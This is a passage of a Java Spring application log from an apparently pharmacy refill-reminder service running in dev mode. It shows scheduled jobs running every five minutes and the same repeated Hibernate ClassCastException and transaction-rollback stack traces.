org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 01:00:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 01:00:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 01:00:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 01:00:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 01:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 01:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 01:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 01:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 01:00:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 01:00:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 01:00:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 01:00:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 01:05:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 01:05:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 01:05:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 01:05:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 01:05:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 01:05:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 01:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 01:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 01:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 01:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 01:05:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 01:05:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 01:05:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 01:05:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 01:10:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 01:10:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 01:10:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 01:10:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 01:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 01:10:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 01:10:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 01:10:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 01:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 01:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 01:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 01:10:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 01:10:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 01:10:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 01:15:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 01:15:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 01:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 01:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 01:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 01:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 01:15:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 01:15:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 01:15:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 01:15:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 01:15:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 01:15:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 01:15:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 01:15:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 01:20:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 01:20:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 01:20:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at 